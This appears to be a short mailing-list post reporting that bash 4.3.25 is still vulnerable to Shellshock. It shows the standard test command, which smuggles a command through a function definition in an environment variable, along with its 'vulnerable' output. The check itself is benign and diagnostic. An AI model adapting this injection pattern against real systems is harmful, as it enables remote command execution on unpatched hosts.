Tried this and it appears that this version of BASH is still vulnerable

[root at test bash-4.3]# ./bash
[root at test bash-4.3]# echo $BASH_VERSION
4.3.25(1)-release
[root at test bash-4.3]# env x='() { :;}; echo vulnerable' bash -c "echo this is 
a test"
vulnerable
this is a test
[root at test bash-4.3]#
